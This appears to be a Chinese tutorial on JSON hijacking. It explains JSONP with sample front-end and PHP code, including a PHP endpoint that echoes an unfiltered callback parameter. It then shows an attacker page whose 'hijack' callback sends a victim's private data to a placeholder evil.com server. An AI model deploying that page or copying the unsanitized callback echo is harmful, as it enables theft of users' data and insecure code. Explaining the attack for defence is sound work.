JSON劫持相似於CSRF攻擊,爲了瞭解這種攻擊方式,咱們先看一下Web開發中一種經常使用的跨域獲取數據的方式:JSONP。javascript
先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,而且這兩種形式也能夠互相嵌套,很是多的應用於數據傳輸的過程當中。因爲JSON的可讀性強,而且很適合JavaScript這樣的語言處理,已經取代XML格式成爲主流。php
JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。咱們知道,JavaScript在讀寫數據時受到同源策略的限制,不能夠讀寫其餘域的數據,因而你們想出了這樣一種辦法:html
前端html代碼:前端
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function jsonpCallback(result) { alert(result.a); alert(result.b); alert(result.c); for(var i in result) { alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. } } </script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
後端的php代碼:java
<?php //服務端返回JSON數據 $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); $result=json_encode($arr); //echo $_GET['callback'].'("Hello,World!")'; //echo $_GET['callback']."($result)"; //動態執行回調函數 $callback=$_GET['callback']; echo $callback."($result)"; ?>
能夠看到,前端先是定義了jsonpCallback函數來處理後端返回的JSON數據,而後利用script標籤的src屬性跨域獲取數據(前面說到帶src屬性的html標籤均可以跨域),而且把剛纔定義的回調函數的名稱傳遞給了後端,因而後端構造出「jsonpCallback({「a」:1, 「b」:2, 「c」:3, 「d」:4, 「e」:5})」的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。json
一句話描述JSONP:前端定義函數卻在後端完成調用而後回到前端執行!後端
明白了JSONP的調用過程以後,咱們能夠想象這樣的場景:跨域
當用戶經過身份認證以後,前端會經過JSONP的方式從服務端獲取該用戶的隱私數據,而後在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口若是沒有作相應的防禦,就容易受到JSON HiJacking的攻擊。服務器
就以上面講JSONP的情景爲例,攻擊者能夠構造如下html頁面:dom
<html> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function hijack(result) { var data = ''; for(var i in result) { data += i + ':' + result[i]; } new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上 } </script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script> </html>
能夠看到,攻擊者在頁面中構造了本身的回調函數,把獲取的數據都發送到了本身的服務器上。若是受害者在已經通過身份認證的狀況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。
咱們用如下幾張圖來總結一下JSON HiJacking的攻擊過程:
(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)